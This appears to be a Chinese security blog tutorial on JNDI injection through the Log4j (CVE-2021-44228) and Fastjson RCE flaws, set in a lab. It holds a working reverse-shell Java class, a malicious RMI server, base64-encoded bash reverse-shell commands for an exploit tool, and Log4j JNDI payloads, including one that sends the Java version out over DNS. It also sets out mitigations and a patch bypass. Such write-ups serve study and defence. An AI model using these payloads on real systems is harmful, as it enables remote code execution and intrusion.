从Log4j和Fastjson RCE漏洞认识jndi注入

文章目录

  • 前言
  • JNDI注入
    • 基础介绍
    • 靶场搭建
    • 漏洞验证
    • 注入工具
  • log4j RCE
    • 漏洞分析
    • 漏洞靶场
    • 检测工具
    • 补丁绕过
  • Fastjson RCE
    • 漏洞分析
    • 漏洞靶场
    • 检测工具
    • 补丁绕过
  • 总结

前言

接着前文的学习《Java反序列化漏洞与URLDNS利用链分析》,想了解为什么 Fastjson 反序列化漏洞的利用与 JNDI 注入相关?同时发现著名的 Log4j 任意代码执行漏洞也是基于 JNDI 注入,于是通过 Fastjson 反序列化漏洞(CVE-2017-18349)和 Log4j RCE(CVE-2021-44228)两个著名的 CVE 漏洞,来学习下 Java JNDI 注入的原理以及在漏洞利用中的使用。

JNDI注入

JNDI (Java Naming Directory Interface) 是 Java 提供的一个通用接口,使用它可以与各种不同的命名服务 (Naming Service) 和目录服务 (Directory Service) 进行交互,比如 RMI (Remote Method Invocation),LDAP (Lightweight Directory Access Protocol),Active Directory,DNS,CORBA等。

基础介绍

JNDI 提供统一的客户端 API,通过使用 JDNI,Java应用程序可以访问各种不同类型的命名和目录服务,如文件系统、LDAP、DNS 等。这样,Java 应用程序能够轻松地与各种不同类型的资源进行交互,而无需关心底层的细节实现。

通俗地说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务 和 目录服务,如下图。
imagepng
JNDI API 支持的相关协议信息如下:

协议作用
LDAP轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMIJAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS域名服务
CORBA公共对象请求代理体系结构

RMI 协议

JNDI 对访问 RMI 或者 ldap 服务的代码进行了封装,我们使用 JNDI 就可以访问这些服务,不需要自己再去关注访问服务的细节。JNDI 相当于是客户端,而 RMI,LDAP 等这些是服务端。

RMI 协议在前面的文章学习过:《渗透测试-Fastjson 1.2.47 RCE漏洞复现》。 LADP 协议请参见《JNDI注入原理及利用考究》,RMI 协议相对于 LADP 协议较为简单。

Java 远程方法调用,简称 Java RMI(Java Remote Method Invocation),是 Java 编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使 Java 编程人员能够在网络环境中分布操作。RMI 全部的宗旨就是尽可能简化远程接口对象的使用。
imagepng
JAVA RMI简单示例

本示例是client端调用server端远程对象的加减法方法,具体步骤为:

1、定义一个远程接口

import java.rmi.Remote;
import java.rmi.RemoteException;/*** 必须继承Remote接口。* 所有参数和返回类型必须序列化(因为要网络传输)。* 任意远程对象都必须实现此接口。* 只有远程接口中指定的方法可以被调用。*/
public interface IRemoteMath extends Remote {// 所有方法必须抛出RemoteExceptionpublic double add(double a, double b) throws RemoteException;public double subtract(double a, double b) throws RemoteException;}

2、远程接口实现类

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import remote.IRemoteMath;/*** 服务器端实现远程接口。* 必须继承UnicastRemoteObject,以允许JVM创建远程的存根/代理。*/
public class RemoteMath extends UnicastRemoteObject implements IRemoteMath {private int numberOfComputations;protected RemoteMath() throws RemoteException {numberOfComputations = 0;}@Overridepublic double add(double a, double b) throws RemoteException {numberOfComputations++;System.out.println("Number of computations performed so far = " + numberOfComputations);return (a+b);}@Overridepublic double subtract(double a, double b) throws RemoteException {numberOfComputations++;System.out.println("Number of computations performed so far = " + numberOfComputations);return (a-b);}
}

3、服务器端

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;/*** 创建RemoteMath类的实例并在rmiregistry中注册。*/
public class RMIServer {public static void main(String[] args)  {public static String HOST = "127.0.0.1";public static int PORT = 8089;public static String RMI_PATH = "/math";public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;try {// 注册RMI端口LocateRegistry.createRegistry(PORT);// 创建一个服务IRemoteMath remoteMath = new RemoteMath();  // 服务命名绑定        Registry registry = LocateRegistry.getRegistry();registry.bind(RMI_NAME, remoteMath);System.out.println("Math server ready");} catch (Exception e) {e.printStackTrace();}        }
}

上面例子中的 RMI 服务绑定是本地的类。

另外一种 RMI 服务端代码写法(下文 JNDI 实践的“漏洞验证”章节也会用到),可以采用 Naming Reference 绑定远程的类(可用于 JNDI 攻击):

public class Main {public static void main(String[] args) {try{Registry registry = LocateRegistry.createRegistry(1099);String url = "http://192.168.0.120:8081/";// Reference 需要传入三个参数 (className,factory,factoryLocation)// 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址Reference reference = new Reference("evil", "EvilShell", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("getShell", referenceWrapper);System.out.println("Hello world!");}catch (Exception e){e.printStackTrace();}}
}

其中 "http://192.168.0.120:8081/”为一个存放了恶意类 class 文件的 http 服务地址:

// javac EvilShell.java
import java.lang.Runtime;
import java.lang.Process;public class EvilShell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.114/6666 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

Java 为了将 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下,比如 RMI、LDAP 等。绑定 Reference 之后,服务端会先通过 Referenceable.getReference() 获取绑定对象的引用,并且在目录中保存。当客户端在 lookup() 查找这个远程对象时,客户端会获取相应的 object factory,最终通过 factory 类将 reference 转换为具体的对象实例。

在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建 Reference 实例时几个比较关键的属性:

  1. className:远程加载时所使用的类名;
  2. classFactory:加载的 class 中需要实例化类的名称;
  3. classFactoryLocation:远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议;

通过 Naming Reference 功能,JNDI 客户端可以加载远程的 RMI 服务的 class 文件来进行实例化。通过 lookup 指定一个远程服务,远程服务是通过 Reference 来远程加载类文件。加载远程类的时候 static 静态代码块、无参构造函数和 getObjectInstance 方法都会被调用。

4、客户端代码

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import remote.IRemoteMath;public class MathClient {public static void main(String[] args) {try { // 如果RMI Registry就在本地机器上,URL就是:rmi://localhost:8089/math,否则就是:rmi://RMIService_IP:8089/mathRegistry registry = LocateRegistry.getRegistry("127.0.0.1", 8089);        // 从Registry中检索远程对象的存根/代理IRemoteMath remoteMath = (IRemoteMath) registry.lookup("rmi://127.0.0.1:8089/math");// 调用远程对象的方法double addResult = remoteMath.add(5.0, 3.0);System.out.println("5.0 + 3.0 = " + addResult);double subResult = remoteMath.subtract(5.0, 3.0);System.out.println("5.0 - 3.0 = " + subResult);            }catch(Exception e) {e.printStackTrace();}            }
}

结果如下:
imagepng
客户端如果直接通过 JNDI 提供的 Context 上下文直接访问上述 RMI 服务的话,则代码如下:

import java.util.Properties;import javax.naming.Context;
import javax.naming.InitialContext;public class testClient {public static void main(String[] args) throws Exception{//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常//Properties env = new Properties();//env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");//env.put(Context.PROVIDER_URL, "rmi://localhost:1099");// 创建初始化环境Context ctx = new InitialContext();// jndi的方式获取远程对象IRemoteMath remoteMath = (IRemoteMath) ctx.lookup("rmi://127.0.0.1:8089/math");//ctx.lookup("ldap://localhost:8088/EvilObj");// 调用远程对象的方法System.out.println(remoteMath.add(5.0, 3.0));}
}

JNDI注入

JNDI 注入指的是:

  1. 【主要】当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。
  2. 或者 RMI 服务的 Reference 类构造方法的参数外部可控时,会使用户的 JNDI 客户端访问 RMI 注册表中绑定的恶意 Reference 类,从而加载远程服务器上的恶意 class 文件在客户端本地执行,最终实现 JNDI 注入攻击导致远程代码执行。

JNDI 注入缺陷特征:

  1. 客户端的 lookup() 方法参数可控;
  2. 服务端在使用 Reference 时,classFactoryLocation 参数可控

上面两个都是在编写程序时可能存在的脆弱点,任意一个满足就行

JNDI 注入利用流程:

  1. 目标代码中调用了 InitialContext.lookup(URI),且 URI 为用户可控;
  2. 攻击者控制 URI 参数为恶意的 RMI 服务地址,如:rmi://hacker_rmi_server//name;
  3. 攻击者 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定某个精心构造的 Factory 类;
  4. 目标在进行 lookup() 操作时,会动态加载并实例化 Factory 类,接着调用 factory.getObjectInstance() 获取外部远程对象实例;
  5. 攻击者可以在 Factory 类文件的构造方法、静态代码块、getObjectInstance() 方法等处写入恶意代码,达到 RCE 的效果;

imagepng
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议JDK6JDK7JDK8JDK11
LADP6u211以下7u201以下8u191以下11.0.1以下
RMI6u132以下7u122以下8u113以下

高版本的 JDK 的 JNDI 注入限制也存在一些绕过手段,参见:《如何绕过高版本JDK的限制进行JNDI注入利用》。

靶场搭建

靶场环境:Hello-Java-Sec
JNDI 注入漏洞代码:https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/JNDI/JNDIInject.java

   /*** lookup 方法会将传入的参数当作 JNDI 名称,如果参数值包含恶意的 JNDI 名称,那么攻击者就可以通过这种方式来执行任意的 JNDI 操作。* lookup:通过名字检索执行的对象,当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。* payload: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a Calculator" -A 127.0.0.1* PoC http://127.0.0.1:8888/JNDI/vul?content=ldap://127.0.0.1:1389/txhadi*/@ApiOperation(value = "vul:JNDI注入")@GetMapping("/vul")public String vul(String content) {log.info("[vul] JNDI注入:" + content);try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI错误消息");}return "JNDI注入";}

自建 Docker 容器

Ubuntu 虚拟机中,创建 Dockerfile 文件如下:

# 基础镜像,默认低版本的java8("1.8.0_111"),下载失败就更换镜像源
FROM java
# 设定时区
ENV TZ=Asia/Shanghai
RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
# 拷贝jar包
COPY javasec-1.11.jar /tmp/javasec1.11.jar
#开放端口
EXPOSE 8888
# 入口
ENTRYPOINT ["java", "-jar", "/tmp/javasec1.11.jar"]

在放置了 Dockerfile 文件和 javasec1.11.jar 文件的路径下执行如下命令,创建目标镜像:

test@ubuntu:~/Downloads/Hello-Java-Sec$ vim Dockerfile
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker build -t docker-demo .
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.Install the buildx component to build images with BuildKit:https://docs.docker.com/go/buildx/Sending build context to Docker daemon  90.23MB
Step 1/6 : FROM java
latest: Pulling from library/java
Digest: sha256:c1ff613e8ba25833d2e1940da0940c3824f03f802c449f3d1815a66b7f8c0e9d
Status: Downloaded newer image for java:latest---> d23bdf5b1b1b
Step 2/6 : ENV TZ=Asia/Shanghai---> Running in fda692eef7e5
Removing intermediate container fda692eef7e5---> a792dba8f3d2
Step 3/6 : RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone---> Running in 1739257a2432
Removing intermediate container 1739257a2432---> 931ee7d2c868
Step 4/6 : COPY javasec-1.11.jar /tmp/javasec1.11.jar---> a81924fb1a42
Step 5/6 : EXPOSE 8888---> Running in 58cc4139551d
Removing intermediate container 58cc4139551d---> b86b11ddc81e
Step 6/6 : ENTRYPOINT ["java", "-jar", "/tmp/javasec1.11.jar"]---> Running in 6997bba01f39
Removing intermediate container 6997bba01f39---> 31ddaf9657fd
Successfully built 31ddaf9657fd
Successfully tagged docker-demo:latest
test@ubuntu:~/Downloads/Hello-Java-Sec$
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker images
REPOSITORY                                                           TAG            IMAGE ID       CREATED          SIZE
docker-demo                                                          latest         31ddaf9657fd   36 seconds ago   729MB
……
test@ubuntu:~/Downloads/Hello-Java-Sec$

运行镜像:

test@ubuntu:~/Downloads/Hello-Java-Sec$ docker run -d --name dd -p 8888:8888 docker-demo
ef4178ffc31f65ee157c17850fede12641f2383ce9c5ab5b1efe3b1c845d8bce
test@ubuntu:~/Downloads/Hello-Java-Sec$ 
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker ps -a
CONTAINER ID   IMAGE         COMMAND                  CREATED         STATUS         PORTS                                       NAMES
ef4178ffc31f   docker-demo   "java -jar /tmp/java…"   6 minutes ago   Up 6 minutes   0.0.0.0:8888->8888/tcp, :::8888->8888/tcp   dd
test@ubuntu:~/Downloads/Hello-Java-Sec$
test@ubuntu:~/Downloads/Hello-Java-Sec$ docker exec -it ef /bin/sh
# java -version
openjdk version "1.8.0_111"
OpenJDK Runtime Environment (build 1.8.0_111-8u111-b14-2~bpo8+1-b14)
OpenJDK 64-Bit Server VM (build 25.111-b14, mixed mode)
# 
# ps -ef|grep java
root           1       0 54 17:07 ?        00:00:16 java -jar /tmp/javasec1.11.jar
root          62      40  0 17:08 pts/0    00:00:00 grep java
# 

然而发现访问宿主机 8888 端口即可,如果遇到访问失败,请重启虚拟机容器服务(systemctl restart docker)或网络即可(踩坑经历)……
imagepng
【More】
可对比下 Hello-Java-Sec 靶场 Docker 部署,官方指导部署步骤:

mvn clean package
./deploy.sh
// deploy.sh的内容:docker build -t javasec . && docker run -d -p 80:8888 -v logs:/logs javasec

存在的问题:

在这里插入图片描述
解决方法是将项目的 Dockerfile 文件中的 javasec-1.7.jar 修改为 javasec-1.11.jar:
imagepng
成功启动 Hello-Java-Sec 靶场容器(此时拉取的镜像也是低版本的 java8(“1.8.0_111”),方便漏洞利用和复现):

test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ ./deploy.sh
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.Install the buildx component to build images with BuildKit:https://docs.docker.com/go/buildx/Sending build context to Docker daemon   93.4MB
Step 1/6 : FROM java:8---> d23bdf5b1b1b
Step 2/6 : VOLUME /tmp---> Using cache---> f53f1fc48ac4
Step 3/6 : ADD ./target/javasec-1.11.jar app.jar---> 827b8c11311e
Step 4/6 : EXPOSE 8888---> Running in ca97d4e12a88
Removing intermediate container ca97d4e12a88---> 203f8633a5ff
Step 5/6 : RUN sh -c 'touch /app.jar'---> Running in 571fa29af378
Removing intermediate container 571fa29af378---> 69545e85bfec
Step 6/6 : ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/app.jar"]---> Running in e87ac41a90f6
Removing intermediate container e87ac41a90f6---> 605e05da2589
Successfully built 605e05da2589
Successfully tagged javasec:latest
65aba6a67d1d7984418846ac87ce74e122f361970e9f6a2595cbe4c22b425158
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ docker ps -a
CONTAINER ID   IMAGE     COMMAND                  CREATED          STATUS          PORTS                                   NAMES
65aba6a67d1d   javasec   "java -Djava.securit…"   44 seconds ago   Up 43 seconds   0.0.0.0:80->8888/tcp, :::80->8888/tcp   zen_borg
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$ netstat -ntpl
(Not all processes could be identified, non-owned process infowill not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:41589         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 ::1:631                 :::*                    LISTEN      -                   
test@ubuntu:~/Downloads/Hello-Java-Sec/Hello-Java-Sec-master$

访问宿主机的 80 端口接口即可:
imagepng

漏洞验证

Hello-Java-Sec 中的 JNDI 注入请求如下(使用自建的 Docker 容器环境),需要我们自行构造一个 RMI 服务进行注入来实现 RCE:
imagepng
Ubuntu 虚拟机(192.168.0.120)通过 IDEA 创建一个 RMI 服务(附:Ladp 服务的搭建可以参见 Hello-Java-Sec 提供的示例代码:JNDILdapServer.java):

package org.example;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class Main {public static void main(String[] args) {try{Registry registry = LocateRegistry.createRegistry(1099);String url = "http://192.168.0.120:8081/";// Reference 需要传入三个参数 (className,factory,factoryLocation)// 第一个参数随意填写即可,第二个参数填写我们 http 服务下的类名,第三个参数填写我们的远程地址Reference reference = new Reference("evil", "EvilShell", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("getShell", referenceWrapper);System.out.println("Hello world!");}catch (Exception e){e.printStackTrace();}}
}

同时创建一个恶意 Java 类,用于“远程”加载后执行恶意代码:

// javac EvilShell.java
import java.lang.Runtime;
import java.lang.Process;public class EvilShell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.114/6666 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

执行 javac EvilShell.java 命令生成 EvilShell.class 文件,然后通过 Python 搭建一个 Http Server,方便 RMI 服务远程加载:
imagepng
在 Kali 攻击机(192.168.0.114)监听 6666 端口:
imagepng
IDEA 启动 RMI 服务,然后 Burp 发送 HTTP 报文,执行 JNDI 注入攻击:
imagepng
imagepng
成功加载远程恶意类,并反弹 shell:
imagepng
imagepng
【思考】此处如果将 Hello-Java-Sec 的 jar 包直接通过高版本的 JDK8 启动,JNDI 注入的结果会如何?
直接试一下:
imagepng
注入失败:
imagepng

注入工具

JNDI 注入攻击开源辅助工具:https://github.com/welk1n/JNDI-Injection-Exploit。

先对 Payload 进行 base64 编码:

bash -i >& /dev/tcp/192.168.190.128/6666 0>&1
// base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx

然后一键自动搭建 RMI、LADP 服务(注意已亲测不可在高于 Java8 的环境下运行 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,会导致最终注入利用失败):

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "XXX.XXX.XXX.227"

-C 指定需要执行的具体命令,-A 指定部署 RMI/LDAP 的服务器地址,成功搭建服务并访问:
imagepng
imagepng
成功反弹 Shell 到 Kali 攻击机:
imagepng
显然,这个一键搭建 RMI、LADP 服务的工具,要比《渗透测试-Fastjson 1.2.47 RCE漏洞复现》曾用到的 marshalsec.jar 工具包方便许多,JNDI 注入漏洞可首选此辅助工具。

log4j RCE

2021 年 11 月 24 日,阿里云安全团队向 Apache 官方报告了 Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)。Apache Log4j2 是一款优秀的 Java 日志框架,由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响,堪称“史诗级核弹漏洞”。

漏洞信息
漏洞名称Apache log4j 远程代码执行漏洞
漏洞编码CVE-2021-44228
漏洞危害严重
漏洞时间2021/12/10
受影响版本Log4j 2.x <= 2.14.1 <= Log4j 2.15.0-rc1
利用难度
POC已知
EXP已知

漏洞分析

Ubuntu 虚拟机 IDEA 创建一个 Maven 项目,体验下 Log4j 组件的简单使用:

<dependencies><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.1</version></dependency>
</dependencies>

IDEA 安全告警提示存在组件漏洞:
imagepng
本次漏洞是因为 Log4j2 组件中 lookup 功能的实现类 JndiLookup 的设计缺陷导致,这个类存在于 log4j-core.jar 中。
imagepng
log4j 的 Lookups 功能 可以快速打印包括运行应用容器的 docker 属性、环境变量、日志事件、Java 应用程序环境信息等内容。比如打印操作系统版本和 Java 运行时版本信息:

private static final Logger logger = (Logger) LogManager.getLogger();public static void main(String[] args) {logger.error("Get: {}", "${java:os}");logger.error("${java:runtime}");
}

输出结果如下所示,使用 JavaLookup (需要使用 java 前缀)获取到了相关信息:
imagepng
而这个史诗级漏洞的触发正是只需要如下简简单单一行 JNDI 注入的 Payload:

logger.info("${jndi:rmi://127.0.0.1:1099/calc}");

imagepng
动态调试分析时,核心可以把目标放在 org.apache.logging.log4j.core.pattern.MessagePatternConverter#format:

     public void format(final LogEvent event, final StringBuilder toAppendTo) {Message msg = event.getMessage();if (msg instanceof StringBuilderFormattable) {boolean doRender = this.textRenderer != null;StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;int offset = workingBuilder.length();if (msg instanceof MultiFormatStringBuilderFormattable) {((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);} else {((StringBuilderFormattable)msg).formatTo(workingBuilder);}if (this.config != null && !this.noLookups) {for(int i = offset; i < workingBuilder.length() - 1; ++i) {if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {String value = workingBuilder.substring(offset, workingBuilder.length());workingBuilder.setLength(offset);workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));}}}...} else {...}}

我们传入的 message 会通过 MessagePatternConverter.format(),判断如果 config 存在并且 noLookups 为 false(默认为false),然后匹配到 ${ 则通过 getStrSubstitutor() 替换原有的字符串,比如这里的 ${java:runtime} 。因为没有任何白名单检测,那么攻击者可以构造任何的字符串,只有符合 ${ 就可以。

继续往下走,来到 org.apache.logging.log4j.core.lookup.Interpolator#lookup
imagepng
可以看到处理 event 的时候根据前缀选择对应的 StrLookup 进行处理,目前支持 date,jndi,java,main 等多种类型,如果构造的 event 是 jndi,则通过 JndiLoopup 进行处理,从而造成 JNDI 注入漏洞。

可进一步跟进:org.apache.logging.log4j.core.lookup.JndiLookup#lookup,可以看到 JNDI 注入的 sink 点:
imagepng

漏洞靶场

https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/ComponentsVul/Log4jVul.java

@Api("Log4j2 反序列化漏洞")
@RestController
@RequestMapping("/Log4j")
public class Log4jVul {private static final Logger logger = LogManager.getLogger(Log4jVul.class);/*** 原理:一旦在log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询,因此只要能控制log参数内容,就有机会实现漏洞利用。* 反弹shell: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,str_base64}|{base64,-d}|{bash,-i}" -A IP** content=${jndi:rmi://rmi.44qbby.dnslog.cn/a}*/@PostMapping(value = "/vul")public String vul(@RequestParam("q") String q) {System.out.println(q);logger.error(q);return "Log4j2 JNDI Injection";}
}

同样对 Payload 进行 Base64 编码:

bash -i >& /dev/tcp/192.168.190.128/6666 0>&1
// base64 编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMjgvNjY2NiAwPiYx

接着一键搭建 RMI 与 ldap 服务,远程调用成功:
imagepng
imagepng
成功反弹 Shell:
imagepng
DNSLog 检测
建议使用 https://dnslog.org/,亲测 http://www.dnslog.cn/ 检测不出来。

${jndi:ldap://${sys:java.version}.XXXX.log.dnslog.biz}
或者
${jndi:dns://${sys:java.version}.xxxx.log.dnslog.biz}

imagepng
成功访问 DNS 服务器并获得目标服务器 java 版本信息:
imagepng
【More】Payload 中使用 dns 协议也是 ok 的,JNDI 支持 DNS 协议:
imagepng
imagepng

检测工具

发现 Github 上几个开源的主流 Log4j 漏洞检测工具,实践并不是太好用,检测不出上述漏洞…Xray 社区版也是。

  1. https://github.com/whwlsfb/Log4j2Scan;
  2. https://github.com/fullhunt/log4j-scan;

可能靶场环境的问题??

建立新的 Log4j 靶场(vulhub/log4j/CVE-2021-44228)进行对比验证,使用 BurpSuite 多漏洞集成探测插件:Tsojan/TsojanScan。
imagepng
imagepng
imagepng
imagepng

补丁绕过

2021 年年底此漏洞爆发那几天,引得无数厂商的安全运营人员通宵达旦处置,因为受影响的资产范围之大、漏洞利用难度之低、漏洞危害之大,无不让企业瑟瑟发抖。同时各路白帽子开始疯狂批量探测漏洞提交 SRC,最后逼得国内诸多 SRC 不得不暂停接收此漏洞哈哈。

临时处置
言归正传,当时的部分临时处置方案如下:

  • 添加 jvm 启动参数 -Dlog4j2.formatMsgNoLookups=true;
  • 修改配置文件 log4j2.formatMsgNoLookups=True;
  • 修改环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS,设置为 true;
  • 禁用 lookup 或 JNDI 服务(可将 jdk 升级到最新的版本);
  • 恶意流量中可能存在 jndi:ladp://、jdni:rmi,给安全设备 IDS 和 WAF 编写相应规则从流量中拦截攻击流量;

安全补丁
在阿里云安全团队披露此漏洞大概两周后,Apache 官方紧急发布了安全更新版本 log4j-2.15.0-rc1,此版本默认关闭了 lookup 功能并增加了白名单校验,但是研究人员又发现在用户错误开启 lookup 时可以绕过白名单校验。

JndiManager.lookup 方法中对 JNDI 协议、主机名、类名进行了白名单校验:
imagepng
但是在 lookup 方法中,异常处理的 catch 中并没有 return,所以这就造成造成异常后可以继续向下运行 this.context.lookup 触发漏洞
imagepng

【More】漏洞详细的调试分析步骤和官方最初安全补丁的绕过可以参见:《Apache Log4j2 漏洞分析 | Gta1ta’s Blog》,以及《Apache Log4j2 Jndi RCE 高危漏洞分析与防御》。

Fastjson RCE

前文《渗透测试-Fastjson 1.2.47 RCE漏洞复现》简单介绍过 Fastjson 1.2.47 版本(注意 Fastjson 最开始出现 RCE 漏洞的版本为 2017 年披露的 1.2.24,即CVE-2017-18349) 的漏洞简介和复现步骤,下面来进一步看看漏洞原理和漏洞利用方法。

漏洞分析

Fastjson 是阿里巴巴开源的 JSON 解析库(项目地址:https://github.com/alibaba/fastjson),它可以解析 JSON 格式的字符串,支持将 Java Object 序列化为 JSON 字符串(常用于 Java 后端解析前端传递过来的 JSON 格式字符串),也可以从 JSON 字符串反序列化到 Java Object。

Fastjson 提供了两个主要接口来分别实现对于 Java Object 的序列化和反序列化操作。

JSON.toJSONString
JSON.parseObject 或者 JSON.parse

来看看具体如何使用,先给自己的 Maven 项目添加依赖:

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.47</version>
</dependency>

对于 Fastjson 来讲,并不是所有的 Java 对象都能被转为 JSON,只有 Java Bean 格式的对象才能通过 Fastjson 转为 JSON,先创建一个 JavaBean:

package com.tr0e.sec.Entity;import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;@Data
@AllArgsConstructor
@NoArgsConstructor
public class Person {private String name;private int age;
}

接着看下 Fastjson 的序列化和反序列化的示例代码:

        //创建一个Java Bean对象Person person = new Person();person.setName("Tr0e");person.setAge(18);System.out.println("--------------序列化-------------");//将其序列化为JSONString JSON_Serialize = JSON.toJSONString(person);System.out.println(JSON_Serialize);System.out.println("-------------反序列化-------------");//使用parse方法,将JSON反序列化为一个JSONObjectObject o1 =  JSON.parse(JSON_Serialize);System.out.println(o1.getClass().getName());System.out.println(o1);System.out.println("-------------反序列化-------------");//使用parseObject方法,将JSON反序列化为一个JSONObjectObject o2 = JSON.parseObject(JSON_Serialize);System.out.println(o2.getClass().getName());System.out.println(o2);System.out.println("-------------反序列化-------------");//使用parseObject方法,并指定类,将JSON反序列化为一个指定的类对象Object o3 = JSON.parseObject(JSON_Serialize,Person.class);System.out.println(o3.getClass().getName());System.out.println(o3);

输出结果如下所示:

--------------序列化-------------
{"age":18,"name":"Tr0e"}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Tr0e","age":18}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Tr0e","age":18}
-------------反序列化-------------
com.tr0e.sec.Entity.Person
Person(name=Tr0e, age=18)

可以看到,如果我们反序列化时不指定特定的类,那么 Fastjosn 就默认将一个 JSON 字符串反序列化为一个 JSONObject。

AutoType 特性

阿里巴巴官方文档 解释 AutoType:Fastjson 支持 AutoType 功能,这个功能会在序列化的 JSON 字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。

注意到上面使用 parseObject 方法进行反序列化时,通过指定类,可以将 JSON 反序列化为一个指定的类对象。而 Fastjson 还提供了另外一种方式(即 AutoType):可以在 toJSONString() 方法中添加额外的属性SerializerFeature.WriteClassName,将对象类型一并序列化,此时序列化后的 JSON 字符串会自动携带@type字段,记录具体的类名,随后进行反序列化的过程便能自动此类 JSON 字符串转换为一个具体的类对象。

